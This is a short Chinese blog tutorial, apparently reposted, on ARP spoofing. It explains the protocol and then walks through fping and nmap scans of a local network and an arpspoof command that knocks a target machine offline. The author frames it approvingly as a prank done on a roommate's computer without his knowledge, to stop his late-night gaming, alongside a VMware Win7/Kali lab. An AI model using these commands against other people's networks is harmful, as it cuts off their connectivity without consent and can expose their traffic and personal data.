arp的中文释义是地址解析协议,全英文 address resolution protocol,是一个将局域网IP地址映射到网卡物理地址(MAC)的工作协议。或许你应该听说过或者遇到过arp欺骗攻击,正是因为钻了此工作协议的一些漏洞引起的。因为arp欺骗攻击通常发生在局域网内,所以多见于恶作剧。遭受arp欺骗攻击的可能会造成不能连入外网,严重的可能造成个人数据的泄露。
模拟环境:我和小明是室友,而且我们连的是同一台路由器,我通过内网扫描可以扫描到他的电脑ip。一天晚上小明打游戏很晚,整个寝室全是他的游戏声音,严重干扰我睡觉,我就偷偷将我的电脑开了起来,进行了arp攻击,一分钟后小明无奈的关掉了电脑,直骂某运营商是*鸡。嘿嘿,终于可以好好睡觉了。。。zzz
VMware环境下的win7和kali(linux)主机一台
win7和kali处于同一网段,即可以通信。
win7地址:192.168.127.130
kali地址:192.168.127.128
0x1.1.可利用fping命令中icmp协议来查看内网主机
输入->>fping -asg 所处的ip网段
输入->>nmap -sV 所处的ip网段
输入->>arpspoof -i eth0 -t 小明的ip地址 网关
总结:该实验就是利用了arp协议欺骗要攻击的主机,使其认为我是网关,从而进行断网。
实验难度:★☆☆☆☆
原文地址:https://www.cnblogs.com/gh747/p/10657257.html